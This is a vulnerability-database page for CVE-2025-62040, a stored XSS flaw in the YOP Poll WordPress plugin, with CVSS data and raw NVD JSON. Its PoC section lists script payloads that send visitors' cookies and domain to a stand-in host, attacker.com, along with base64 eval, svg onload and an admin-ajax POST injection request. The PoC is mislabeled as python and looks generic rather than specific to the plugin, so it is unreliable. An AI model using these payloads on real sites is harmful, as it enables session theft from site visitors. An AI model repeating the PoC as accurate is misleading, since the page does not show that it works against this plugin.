Security Vulnerability Report
中文
CVE-2025-62040 CVSS 7.1 HIGH

CVE-2025-62040

Published: 2025-11-06 16:16:11
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in YOP YOP Poll yop-poll.This issue affects YOP Poll: from n/a through <= 6.5.37.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

YOP Poll WordPress插件 <= 6.5.37

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62040 YOP Poll Stored XSS PoC --> <!-- Attacker creates a poll with malicious JavaScript in option field --> <!-- Step 1: Craft the malicious poll payload --> <p>Malicious Poll Option:</p> <input type="text" value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" /> <!-- Step 2: Alternative payload using img onerror --> <p>Alternative XSS Payload:</p> <input type="text" value="<img src=x onerror=fetch('https://attacker.com/log?d='+document.domain+'&c='+btoa(document.cookie))>" /> <!-- Step 3: Stored XSS via poll description --> <p>Poll Description XSS:</p> <textarea><div onmouseover="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">Hover me</div></textarea> <!-- Step 4: JavaScript event handler injection --> <p>Event Handler XSS:</p> <input type="text" value="<svg onload=alert(document.domain)>" /> <!-- Example HTTP POST request to exploit --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=yop_poll_add_poll&poll_question=<script>alert('XSS')</script>&poll_answers[]=<img src=x onerror=alert(1)>&poll_answers[]=Normal Option&nonce=xxxxx

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62040", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:10.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in YOP YOP Poll yop-poll.This issue affects YOP Poll: from n/a through <= 6.5.37."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/yop-poll/vulnerability/wordpress-yop-poll-plugin-6-5-37-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}